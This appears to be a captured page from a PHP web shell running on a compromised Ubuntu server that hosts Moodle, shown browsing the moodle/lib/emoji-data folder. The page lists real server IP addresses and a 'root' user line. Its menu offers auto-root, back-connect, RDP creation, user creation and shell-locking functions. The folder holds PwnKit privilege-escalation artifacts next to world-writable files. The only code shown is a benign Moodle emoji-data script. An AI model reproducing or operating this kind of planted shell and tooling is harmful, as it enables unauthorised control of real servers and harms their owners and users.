Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
lib /
emoji-data /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
data.js.mustache
994
B
-rwxrwxrwx
generate_emoji_data.php
3.88
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
readme_moodle.txt
483
B
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : generate_emoji_data.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * @copyright 2019 Ryan Wyllie <ryan@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ define('CLI_SCRIPT', true); require(__DIR__.'/../../config.php'); $categorysortorder = [ 'Smileys & People', 'Animals & Nature', 'Food & Drink', 'Travel & Places', 'Activities', 'Objects', 'Symbols', 'Flags' ]; // Source: https://github.com/iamcal/emoji-data $rawdata = file_get_contents('./emoji_pretty.json'); $jsondata = json_decode($rawdata, true); $emojibycategory = []; $obsoletes = []; foreach ($jsondata as $data) { $category = $data['category']; $unified = $data['unified']; if ($category === 'Skin Tones') { continue; } if (!empty($data['obsoleted_by'])) { // Skip any obsolete emojis. We'll merge these short names into the // newer emoji later on. $obsoletes[] = [ 'shortname' => $data['short_name'], 'by' => $data['obsoleted_by'] ]; continue; } if (!isset($emojibycategory[$category])) { $emojibycategory[$category] = [ 'name' => $category, 'emojis' => [] ]; } $emojibycategory[$category]['emojis'][] = [ 'sortorder' => (int) $data['sort_order'], 'unified' => $unified, 'shortnames' => [$data['short_name']] ]; } $emojibycategory = array_values($emojibycategory); // Sort the emojis within each category into the order specified in the raw data. $emojibycategory = array_map(function($category) { usort($category['emojis'], function($a, $b) { return $a['sortorder'] <=> $b['sortorder']; }); return $category; }, $emojibycategory); // Add the short names for the obsoleted emojis into the list of short names // of the newer emoji. foreach ($obsoletes as $obsolete) { $emojibycategory = array_map(function($category) use ($obsolete) { $category['emojis'] = array_map(function($emoji) use ($obsolete) { if ($obsolete['by'] == $emoji['unified']) { $emoji['shortnames'] = array_merge($emoji['shortnames'], [$obsolete['shortname']]); } unset($emoji['sortorder']); return $emoji; }, $category['emojis']); return $category; }, $emojibycategory); } // Sort the emoji categories into the correct order. usort($emojibycategory, function($a, $b) use ($categorysortorder) { $aindex = array_search($a['name'], $categorysortorder); $bindex = array_search($b['name'], $categorysortorder); return $aindex <=> $bindex; }); $emojibyshortname = array_reduce($jsondata, function($carry, $data) { $unified = null; $shortname = $data['short_name']; if (!empty($data['obsoleted_by'])) { $unified = $data['obsoleted_by']; } else { $unified = $data['unified']; } $carry[$shortname] = $unified; return $carry; }, []); $loader = new \Mustache_Loader_ArrayLoader([ 'data.js' => file_get_contents('./data.js.mustache') ]); $mustache = new \core\output\mustache_engine(['loader' => $loader]); echo $mustache->render('data.js', [ 'byCategory' => json_encode($emojibycategory, JSON_PRETTY_PRINT), 'byShortName' => json_encode($emojibyshortname, JSON_PRETTY_PRINT) ]);
Close